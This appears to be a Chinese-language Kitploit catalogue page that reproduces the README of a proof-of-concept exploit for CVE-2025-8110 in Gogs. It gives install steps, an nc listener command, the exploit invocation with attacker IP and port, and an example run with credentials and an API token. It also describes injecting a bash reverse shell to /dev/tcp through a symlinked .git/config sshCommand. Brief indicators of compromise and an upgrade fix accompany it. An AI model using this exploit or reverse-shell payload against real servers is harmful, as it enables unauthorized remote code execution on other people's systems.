Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-8110 — Gogs RCE PoC - CVE-2025-8110 | Kitploit
工具/GitHubGitHub/x4brozer/cve-2025-8110
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubx4brozer/cve-2025-8110

CVE-2025-8110

Gogs RCE PoC - CVE-2025-8110

查看仓库
4个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Gogs RCE 漏洞利用 (CVE-2025-8110)

Python License

针对 CVE-2025-8110 的概念验证 — 通过符号链接绕过和 sshCommand 注入实现 Gogs 远程代码执行。

描述

该漏洞利用 Gogs API 中的符号链接绕过,覆盖 .git/config 并注入恶意 sshCommand,从而执行反弹 Shell。

需求

  • Python 3.12+
  • 已安装 Git
  • 有效的 Gogs 凭据
  • Gogs API 令牌

安装

root@kitploit:~
git clone https://github.com/X4BROZER/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt

参数 描述 -u, --url 目标 Gogs URL(例如 http://target:3000) -U, --username Gogs 用户名 -P, --password Gogs 密码 -t, --token Gogs API 令牌 -lh, --host 你的 IP(用于反弹 Shell) -lp, --port 你的端口(用于监听) -x, --proxy 启用代理(localhost:8080)

使用方法

步骤 1:获取 API 令牌

登录 Gogs → 设置 → 应用程序 → 生成令牌

步骤 2:启动监听器

root@kitploit:~
nc -lvnp 4444

步骤 3:运行漏洞利用

root@kitploit:~
python3 exploit.py -u http://target:3000 -U <用户名 GOGS> -P <密码 GOGS> -t <令牌> -lh <攻击者 IP> -lp <攻击者端口>

示例

root@kitploit:~
python3 exploit.py -u http://localhost:3001 -U amine -P amine -t 44f4e64a1e6353f247050055aa0d3cc13b577ac3 -lh 10.10.17.134 -lp 4444

工作原理

  • 创建包含指向 .git/config 的符号链接的仓库
  • 使用 PutContents API 写入符号链接
  • 注入 sshCommand = bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' #
  • Gogs 执行命令 → 反弹 Shell

故障排除

问题解决方法
登录失败检查用户名/密码
仓库创建失败重新生成 API 令牌
读取超时正常 — 检查监听器
无 Shell检查防火墙,尝试不同端口

入侵指标

  • 随机的 8 字符仓库名称
  • repos 目录下的 malicious_link 符号链接
  • .git/config 中的 sshCommand

修复措施

更新至 Gogs v0.13.4 或更高版本:

root@kitploit:~
wget https://dl.gogs.io/v0.13.4/gogs_v0.13.4_linux_amd64.tar.gz
tar -xzf gogs_v0.13.4_linux_amd64.tar.gz

法律免责声明

此工具仅用于教育和授权测试。未经授权的访问属违法行为。

致谢

  • 发现者:Wiz Research
  • 原始 PoC:zAbuQasem
  • 漏洞利用:X4BROZER
下载工具